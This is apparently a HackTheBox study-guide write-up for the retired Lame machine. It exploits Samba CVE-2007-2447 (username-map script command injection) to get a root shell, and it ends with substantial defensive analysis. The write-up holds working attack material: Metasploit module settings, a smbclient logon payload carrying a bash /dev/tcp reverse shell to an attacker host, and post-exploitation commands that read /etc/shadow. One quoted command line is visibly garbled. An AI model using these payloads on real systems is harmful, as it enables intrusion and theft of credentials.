~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / lame.md

lame

Linux · Easy · released 2017-03-14 · retired 2017-05-26

Summary

Lame is one of the original HackTheBox machines and one of a small handful of “single-CVE root” boxes on the platform. The intended chain is a single, unauthenticated remote command execution against Samba 3.0.20-Debian via CVE-2007-2447 (the username map script shell-metacharacter injection). Because smbd runs as the root user on the target, that single primitive lands a root shell directly — there is no separate user-to-root step, and both flags can be read in the same session.

The box pre-dates the modern HTB convention of a clean two-stage user-then-root path, so the attack surface is unusually rich for an Easy: vsftpd 2.3.4 on tcp/21, OpenSSH 4.7p1 on tcp/22, Samba 3.0.20 on tcp/139 and tcp/445, and distccd on tcp/3632 are all visibly outdated and all have well-known public exploits associated with them. Two of those alternative paths (the vsftpd 2.3.4 :) smiley backdoor and distccd CVE-2004-2687) are the kind of thing newcomers latch onto first and burn time on, so part of the educational value of Lame is learning to triage which fingerprint actually matters.

The “intended” path is Samba username-map for two reasons: it is unauthenticated, it lands as root in one shot, and the fingerprint banner Samba 3.0.20-Debian is itself a complete vulnerability disclosure to anyone who has memorized the version table. The lesson Lame teaches is the same lesson its name implies: when the version banner is the exploit, you do not need much else. This document walks the chain as a study guide — concept first, commands second, and an honest accounting of what each step actually does inside the target.

Recon

The first move is a full TCP nmap with service and version detection. On Lame this returns a five-port surface that is, by 2026 standards, almost a museum piece: every banner is from the late 2000s. The interesting ports are tcp/21, tcp/22, tcp/139, tcp/445, and tcp/3632.

nmap -sV -sC -p- --min-rate=1000 -oA nmap-full <TARGET>

21/tcp   open  ftp         vsftpd 2.3.4        (anonymous FTP allowed)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Domain: hackthebox.gr  |  FQDN: lame.hackthebox.gr

The fingerprints confirmed: vsftpd 2.3.4 on 21 (anonymous FTP allowed), OpenSSH 4.7p1 Debian 8ubuntu1 on 22, Samba smbd 3.0.20-Debian on 139 and 445, and distccd v1 (GNU 4.2.4) on 3632. The smb-os-discovery NSE script returned OS: Unix (Samba 3.0.20-Debian) and pinned the FQDN as lame.hackthebox.gr. The OpenSSH banner places the host on Ubuntu 8.04 Hardy Heron — useful context, but not the path.

Three of those banners independently advertise public exploits. vsftpd 2.3.4 was famously backdoored upstream (CVE-2011-2523): a USER line ending in :) opens a root shell on tcp/6200. distccd 1.x with --allow misconfigured permits unauthenticated command execution as the daemon user (CVE-2004-2687). Samba 3.0.20 is in the vulnerable range for CVE-2007-2447, the username map script bug. Two of those three are red herrings on this box: the vsftpd backdoor port 6200 is firewalled off in the lab and never replies, and the distcc path produces a low-privilege shell that would still need a separate kernel or sudo escalation. Only the Samba path goes straight to root.

It is worth quickly noting why each of those is detectable from the version banner alone. The vsftpd 2.3.4 backdoor is not a configuration issue — the upstream tarball was tampered with on the project’s mirror in July 2011 and shipped with a deliberately-inserted backdoor that triggers on the :) smiley in a USER command. Anyone running 2.3.4 (and not the patched 2.3.5) is potentially vulnerable. distccd is not really a “vulnerability” in the CVE sense — distcc is doing exactly what it advertises: distributing C compiler invocations to remote hosts. The “exploit” is just abusing that legitimate feature when the daemon is exposed to the internet without an --allow whitelist. Samba 3.0.20 is the only one of the three that is a “classic” remote code execution bug — a real flaw in input handling — and it is also the only one that lands as root. Recognizing those distinctions builds the kind of fingerprint-to-exploit mapping that experienced operators do reflexively.

A short SMB enumeration with smbclient and enum4linux is still worth doing — partly to confirm the version, partly to enumerate shares. smbclient -L //<TARGET>/ -N lists shares (typically print$, tmp, opt, IPC$, ADMIN$), and tmp is world-writable and world-readable anonymously. Modern Kali defaults to SMB2/3 and will refuse to talk to a 3.0.20 server unless you force the legacy dialect with client min protocol = NT1 in /etc/samba/smb.conf or --option='client min protocol=NT1' on the command line. That detail trips up a lot of people on first contact and is worth internalizing — every old SMB box on HTB needs the same workaround.

# share listing, anonymous
smbclient -L //<TARGET>/ -N --option='client min protocol=NT1'

# enum4linux pulls users, groups, shares, server info in one shot
enum4linux -a <TARGET>

# nmap NSE script confirms smbd version and OS
nmap -p139,445 --script smb-os-discovery,smb-protocols <TARGET>

The shares themselves do not contain anything load-bearing for this box — tmp lets you read and write but there is nothing to harvest there, and the writeable share is a distraction. The point of running enum4linux is just to corroborate the version banner from a second angle. If your enum tool fails outright with protocol negotiation failed, that is the SMB1/NT1 dialect issue, not a missing exploit — fix the dialect and rerun.

The OpenSSH banner deserves a brief look as well. OpenSSH 4.7p1 has a small bouquet of CVEs (timing oracles for username enumeration, a few low-impact information-disclosure issues), but no usable preauth RCE. It is not a foothold path on this box; it is just a service that happens to be there. Do not spend time on it. If you see beginners’ writeups for Lame that fixate on SSH user enumeration, that is the trap they fell into.

Anonymous FTP on tcp/21 is a similarly cold lead. ftp <TARGET>, log in as anonymous, and the directory listing is empty. No writable upload directory, no leaked configs. The vsftpd banner is the only relevant artifact of that port, and it is a red herring (see the version triage above).

The recon takeaway is straightforward: with a banner of Samba 3.0.20-Debian, you are looking at CVE-2007-2447 unless something is actively in your way. The other ports are noise to triage past.

One last recon nicety: it is occasionally useful to confirm reachability of the vulnerable code path before you ever throw an exploit. A connection to smbclient //<TARGET>/IPC$ -U "" -N --option='client min protocol=NT1' that succeeds (even with tree connect failed: NT_STATUS_ACCESS_DENIED) tells you the SMB1 dialect negotiation is working and the server will read your Account field; a hard protocol negotiation failed tells you to fix your client config first. Treat the first successful authentication-anonymous probe as your “exploit will reach the parser” milestone.

Foothold — Samba 3.0.20 username-map command injection (CVE-2007-2447)

The conceptual bug is small and elegant in the worst sense. Samba supports a configuration directive called username map script in smb.conf. When set, it points at an external script (commonly something like /etc/samba/scripts/mapusers.sh) that Samba invokes to translate an incoming SMB username into a local Unix username. The script is invoked via /bin/sh, with the inbound username substituted into the command line as a string. Username mapping happens before authentication, because Samba needs to know which local account it is going to authenticate the client against. That ordering is the entire problem.

In Samba 3.0.0 through 3.0.25rc3, the username string is passed to the shell without metacharacter escaping. A username of the form `id` or $(id) therefore causes /bin/sh to perform command substitution: the shell evaluates id as a subshell, splices its output into the command line, and continues. From the attacker’s side, that means anything that can deliver an SMB username can deliver an arbitrary shell command. smbd runs as root on the target, so the subshell inherits root, and nothing about the bug requires valid credentials because no authentication has happened yet by the time the mapping script fires.

Two preconditions matter for exploitability. First, the affected version range — Samba 3.0.0 through 3.0.25rc3 inclusive, which is exactly the 3.0.20-Debian fingerprint on Lame. Second, the username map script option must be set in smb.conf; it is not the default, but the box ships configured to use it (this is why Samba’s own advisory could honestly call the bug “non-default” — and why, in the wild in 2007, exposure was narrower than the raw version number suggested). On Lame the directive is configured, so the bug is live.

Before reaching for an exploit, it is worth checking the bug exists on this specific target with a benign payload. A username of `id > /tmp/proof` causes the file /tmp/proof to appear on the server containing uid=0(root)…. Because the tmp share is anonymously readable, you can fetch it back and confirm the primitive without ever firing a reverse shell. That kind of “prove the bug, then weaponize it” workflow is good discipline — it generates less noise on the wire and lets you confirm preconditions (smbd is root, the script directive is configured, your payload reaches the shell) before committing to an exploit.

The most direct exploit is Metasploit’s prebuilt module:

msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS <TARGET>
set LHOST <ATTACKER>
set LPORT 4445
set PAYLOAD cmd/unix/reverse
run

The default RPORT is 139. The payload doesn’t have to be staged because the primitive is direct command execution, not memory corruption — cmd/unix/reverse_netcat, cmd/unix/reverse, and cmd/unix/bind_perl all work. Within a few seconds you should land on a sh session running as uid=0(root) gid=0(root).

The manual PoC is worth doing once for understanding. With smbclient, you connect to any share (or IPC$) anonymously, then issue the logon interactive command with a username that is itself a shell command:

nc -lvnp 4445    # in another terminal

smbclient //<TARGET>/tmp -U "" -N --option='client min protocol=NT1'
smb: \> logon "./=`bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1'`"

The ./= prefix is just a syntactically valid shell token to keep the outer command line well-formed; the meaningful payload is the backtick expression. When Samba feeds that string through /bin/sh -c "/etc/samba/scripts/mapusers.sh ./=\nohup nc -e /bin/sh 4444\`"`, the shell evaluates the backticks first, which is the reverse shell. The listener catches a connection as root.

If nc -e is unavailable (modern netcats omit it for safety), the same shape works with bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1', an mkfifo one-liner, or a Python socket+pty.spawn payload. The amriunix Python PoC (linked under Source attribution) implements the same logic at the wire level rather than via smbclient, which is useful when you want to see the SMB Session Setup AndX request that carries the malicious username.

A useful mental model for the shape of this attack: think of username map script = /etc/samba/scripts/mapusers.sh as Samba quietly running, for every connection attempt, a command equivalent to sh -c "/etc/samba/scripts/mapusers.sh '$USERNAME'" — except the single quotes are absent in the vulnerable code path. Inject anything that closes the implicit string and chains a new command, and sh will execute it. Backticks and $( ) are the natural choices because they are the most compact way to introduce a subshell. The SMB protocol’s Account field in Session Setup AndX is the carrier; tools like Wireshark with the smb dissector show the malicious string sitting in plaintext in the request. There is no exploit “shellcode” here in the buffer-overflow sense — it is just a string that happens to be a shell command.

If you want to see the bug at the source-code level, the patch is upstream Samba git commit 8200068-era (May 2007). The vulnerable function constructs the script invocation by concatenating strings and hands them to smbrun(), which itself is a thin wrapper over system(3)//bin/sh. The post-patch code adds a call to a pstring_safe_string()-style escaper that backslash-escapes shell metacharacters before they are written into the command line. Reading the diff is a good five-minute exercise in understanding how shell-injection patches actually look in C.

Why is the shell command run at all on a failed login? Because username mapping is a pre-authentication step. Samba evaluates the script first to determine which local Unix account the inbound principal corresponds to, and only then proceeds to credential validation. Even an authentication failure (or a wholly fictional username) reaches the script, which is what makes the bug fully unauthenticated. You can confirm this experimentally by sending a username payload with a bogus password — the shell command still runs, and the SMB session subsequently errors out, but by then the reverse shell is already connected.

For investigation discipline, here is a checklist of what should be true after the foothold lands. The reverse shell process should report uid=0(root) gid=0(root) groups=0(root). ps -ef | grep smbd should show smbd running as root and a transient sh -c child that is the mapping invocation (it disappears within a second or two). cat /etc/samba/smb.conf | grep -i 'username map' should show the username map script directive — visible confirmation that the preconditions you assumed were actually present. If any of those three confirmations fail, you should be suspicious that something else is going on (different exploit, different daemon, different identity) before continuing.

User flag

There is no separate user step. Because the foothold is already root, you can read user.txt directly. Public writeups place it at /home/makis/user.txt (the maintainer account on the original VM was makis). The flag is read in the same shell that the Samba exploit produced.

cat /home/makis/user.txt

If you want a more comfortable shell before grabbing flags, the canonical TTY upgrade applies: python -c 'import pty; pty.spawn("/bin/bash")', then Ctrl-Z, stty raw -echo; fg, then export TERM=xterm. None of that is required for flag capture; it is purely ergonomic.

A small enumeration habit worth practicing here even though it is unnecessary on Lame: when you land on a box, list /home, check /etc/passwd for valid login shells, and look at last/w for active sessions. ls /home confirms makis is the only human account, /etc/passwd shows the system accounts (daemon, www-data, nobody, etc.), and last -a is empty because nobody has been logging in interactively. On a real engagement the same three-command sweep catches obvious things like a forgotten backup user with a shell, a logged-in admin you would prefer not to alarm, or a credential file readable by your current UID.

ls -la /home
cat /etc/passwd
last -a | head
w

A common mistake at this point is to immediately cat user.txt from the Metasploit-spawned shell and skip the rest. That works for the box but it skips the lesson — the same shell could have read every credential, every key, every config file, and the muscle memory of “what does this access actually grant” is the part you want to build before you move on to harder boxes.

Privilege escalation

There is no privilege escalation phase on Lame. smbd on this build of Samba runs as root rather than dropping privileges to a service account, so the command-injection primitive in the username map script also runs as root. The Metasploit module’s banner makes this explicit by reporting uid=0(root) immediately after the session opens. cat /root/root.txt finishes the box.

For completeness, the alternative paths land elsewhere in the privilege graph and would require a real privesc step. The distcc path (exploit/unix/misc/distcc_exec against tcp/3632, CVE-2004-2687) lands as the daemon user. From there a publicly documented chain uses an old udev netlink local exploit (CVE-2009-1185) on the kernel that ships with Hardy to escalate to root. That is the chain IppSec demonstrates in his “low-privilege path” portion of the Lame video, and it is worth knowing as a teaching example, but the intended HTB-scoring path skips it entirely.

Worth doing for practice, even if it is unnecessary: run id, uname -a, cat /etc/os-release, and cat /etc/shadow from the rooted shell to confirm the privilege level and to inventory what a “real” attacker would harvest at this stage. /etc/shadow is readable as root and contains hashes for root, makis, and a handful of system accounts — a good prompt for thinking about credential reuse on a hypothetical follow-on engagement. On Lame this is academic, but the reflex of “what does root-on-this-host let me reach next” is the habit that matters on harder boxes.

A short post-exploitation snapshot of what the rooted host exposes:

id
uname -a
cat /etc/os-release
cat /etc/shadow      # root, makis, and system accounts
ls -la /root         # root.txt and any owner-private artifacts
crontab -l           # any scheduled jobs the operator left behind
ss -tlnp || netstat -tlnp   # confirm which ports are bound by what

None of that is needed to score the flags. All of it is the kind of “what would I do if this were a real network and I had to keep going from here” question that distinguishes a tutorial from a study guide.

Why each step worked

The recon worked because banner-grabbing was sufficient. Samba 3.0.20-Debian is a precise version string that maps directly to a known unauthenticated RCE; the moment you read that banner, the exploit is decided. Modern services obscure version strings, run inside containers with limited filesystem visibility, and rotate banners on patch — Lame’s smbd is the opposite of that, advertising both upstream version and packaging origin, which is why the recon-to-exploit gap is so small.

The “default” recon command set (nmap with -sC -sV, smbclient share listing, enum4linux) is enough here because the box does not bother to hide. On harder modern boxes, the same toolchain returns less useful output and you end up reading source, fuzzing endpoints, or chaining seemingly-uninteresting features. Lame is the easiest possible case study for “what does it look like when the recon phase actually finishes the job for you,” and that comparison is itself useful — it sets the floor for how easy enumeration ever gets.

The foothold worked because of a specific design choice in Samba’s username-mapping pipeline: the inbound username, supplied entirely by an unauthenticated attacker, was substituted into a /bin/sh invocation without metacharacter escaping. This is a textbook command-injection class bug — the same shape as system("ping " + user_input) in a CGI script — and it predates most of the modern shell-injection hardening idioms (no execve-style argv passing, no allow-listing of usernames, no input canonicalization). The fact that mapping happens before authentication makes the bug unauthenticated, not authenticated, which dramatically widens the impact: you do not need a valid credential to reach the vulnerable code path, you just need to send an SMB Session Setup AndX with a crafted Account field.

The “no privesc needed” property worked because of the privilege model that smbd uses. Samba’s smbd needs root for several legitimate reasons: it binds to the privileged ports 139 and 445, it has to be able to setuid() to whichever local user authenticates, and it manages file ACLs. The username-map script is invoked in this still-root context, so the injected command inherits root. A more defensive design would have dropped privileges or sandboxed the script execution before performing pre-auth user mapping, but Samba in 2007 did not.

A useful comparison: the distcc path on the same box ends up as daemon because distccd was started under a service account, not root — even though the underlying bug class (unauthenticated remote command execution) is the same. The privilege you inherit is determined entirely by the privilege of the process you are injecting into. This is why “what UID does this daemon run as?” is a triage question on every old service. For modern Samba (4.x), the answer is still that smbd starts as root, but the post-2007 codebase doesn’t have the equivalent injection sink, and AppArmor profiles in most distributions further constrain what smbd can execve.

Counterfactuals

If Samba had been upgraded to 3.0.25rc3 or later, none of this works — the upstream patch added shell-metacharacter escaping to the username string before it is passed to the script. The single best mitigation, then and now, is patching the package version: this is one of the cases where keeping a service current is the entire defense. Specifically, the patch escapes characters from the set `;|<>$&\'\"() so they are no longer interpreted by /bin/sh. The fix is small in code terms — a few dozen lines — and it dates to May 2007, meaning any system running unpatched Samba in 2017 (when this box was published, never mind in 2026) is doing so by neglect, not by tradeoff.

If smb.conf had simply not configured username map script, the vulnerable code path is unreachable. The advisory’s wording about the option being “non-default” reflects this: most production Samba installations in 2007 were not vulnerable, because most administrators never enabled the directive. The lesson is that optional features with shell-callouts are a category of risk; if you must enable one, lock it down — full path to a non-shell-script binary, allow-list of permitted usernames, mapping logic implemented inside Samba’s own modules rather than via /bin/sh -c. A common-but-still-dangerous-half-fix at the time was to set username map = /etc/samba/smbusers (a static file) instead of username map script = … (a shell callout). The static-file form has no shell evaluation and was never affected by CVE-2007-2447, so administrators who happened to be using the file form were safe by accident.

If the operator had run smbd with reduced privileges (for instance via systemd’s User=, capability bounding sets, or AppArmor confinement that denies arbitrary execve from smbd), the injection would still execute, but as a less powerful principal. The attacker would land somewhere short of root and would need a real privesc step. This is the “defense in depth” framing: assume your network daemons will eventually have a remote-code-execution bug, and constrain what that bug can do.

If the firewall in front of Lame had blocked tcp/445 and tcp/139 from the attacker network, the box would have been substantially harder. Modern environments almost never expose SMB to untrusted networks; that single network-level control would have neutralized this exploit even with the unpatched Samba in place.

If the lab’s firewall had let tcp/6200 through, the vsftpd 2.3.4 backdoor would have been a viable second path — that backdoor is also a one-shot root because the smiley payload spawns a root shell on 6200. The fact that 6200 is filtered on Lame is presumably a deliberate authoring choice to push solvers to the Samba path.

If the operator had implemented even minimal egress filtering on the box (outbound connections to arbitrary ports blocked at the host firewall), the reverse-shell payload would have failed to call home. The injection itself would still execute, so the attacker could run a single command and observe its side effects, but interactive shell access becomes much harder. A bind shell payload would defeat that mitigation in turn, and a properly configured ingress firewall would defeat the bind shell — defense in depth would need both directions.

If logging on the target had been routed to a SIEM, the malformed Account field in the SMB Session Setup AndX request would be a high-fidelity detection — there are essentially no legitimate reasons for an SMB username to contain backticks or $( ) substitution. A naive regex on the smbd logs catching [\\$]` in the user field would flag this attack with effectively zero false positives. The reason this exploit was so devastating in 2007 was less the bug itself and more the fact that nobody was looking at smbd logs that closely.

If the box had been built more recently with mandatory access controls — AppArmor or SELinux profiles for smbd in enforcing mode — the injected shell would be confined to whatever the profile permits. Distribution defaults in 2026 typically allow smbd to read its config and write its log files, but block arbitrary outbound network connections and arbitrary execve of shells. Under that constraint, the same injection might still execute one command but fail to spawn the reverse shell, because the AppArmor profile blocks execve("/bin/sh", …) by smbd. This is the practical effect of “defense in depth” against this class of bug: the attacker still has the primitive but cannot weaponize it.

Key Takeaways

The headline takeaway is that Lame is the canonical example of “version banner equals exploit”. Once you have memorized that Samba 3.0.0 through 3.0.25rc3 is vulnerable to the username-map script command injection, the Lame chain is decided at the recon stage and finished within a single Metasploit run. This is also why Lame sits at the very bottom of HTB’s difficulty curve — there is no enumeration puzzle, no credential reuse, no chained primitive, and no privesc.

The second takeaway is the importance of triaging multiple weak fingerprints. vsftpd 2.3.4, distccd 1.x, and Samba 3.0.20 all advertise public RCEs, and the temptation on a first attempt is to throw exploits at whichever banner you recognize first. Two of those three either fail outright (vsftpd backdoor, port filtered) or land low-privilege (distccd as daemon). Reading the version table and asking “which of these is unauthenticated and lands as root” is the recon discipline that Lame is teaching. A useful triage pattern is to write down each banner alongside three columns — known CVE, authentication required, expected privilege on success — before firing anything. On Lame the table looks roughly like: vsftpd 2.3.4 / CVE-2011-2523 / none / root-but-port-filtered, OpenSSH 4.7p1 / no easy RCE / yes / N/A, Samba 3.0.20 / CVE-2007-2447 / none / root, distccd v1 / CVE-2004-2687 / none / daemon. The Samba row is obviously the right move; doing the table makes that obvious.

The third takeaway is structural: services that need root for legitimate reasons (SMB, NFS, sshd) are exactly the services where a code-execution bug becomes catastrophic. Modern equivalents — running smbd inside a privilege-separated child, AppArmor-confining /bin/sh callouts, or simply not having shell callouts in configuration files at all — are all responses to the lesson 2007-era Samba taught. OpenSSH took a similar lesson earlier with its privilege-separation refactor in 2002; Apache, Postfix, and Postgres all eventually adopted variations on the theme. Samba’s response, over the 4.x series, has been to migrate away from /bin/sh-based hooks toward in-process module callbacks and to AppArmor-confine smbd in distribution defaults. The architectural principle — never let a network-facing daemon’s bug be a root bug if you can avoid it — is the most generalizable thing Lame has to teach.

The fourth takeaway is the flag-locating habit. Even on a box where root is the foothold, knowing where flags actually live (/home/<user>/user.txt, /root/root.txt) is the muscle memory you want to build for harder boxes where root is not free. On Lame, find / -name '*.txt' 2>/dev/null | grep -E '(user|root)\.txt' from the root shell is enough.

The fifth takeaway is meta: this box is also a good template for how to write a vulnerability report. The chain has exactly one technical primitive (CVE-2007-2447), one network precondition (tcp/445 reachable), and one privilege precondition (smbd as root). A clean executive summary of Lame would be three sentences: “An unpatched Samba 3.0.20 service is reachable on tcp/445. A pre-authentication shell-metacharacter injection in the username map script directive (CVE-2007-2447) yields arbitrary command execution. Because smbd runs as root, this command execution is also a root compromise of the host.” The remediation is one sentence: “Patch Samba to ≥3.0.25rc3 (or, in 2026, to a current 4.x), and remove the username map script directive from smb.conf.” If you cannot summarize a box that tightly when you finish it, you have not understood the chain yet.

References

← all htb machines hackthebox.com ↗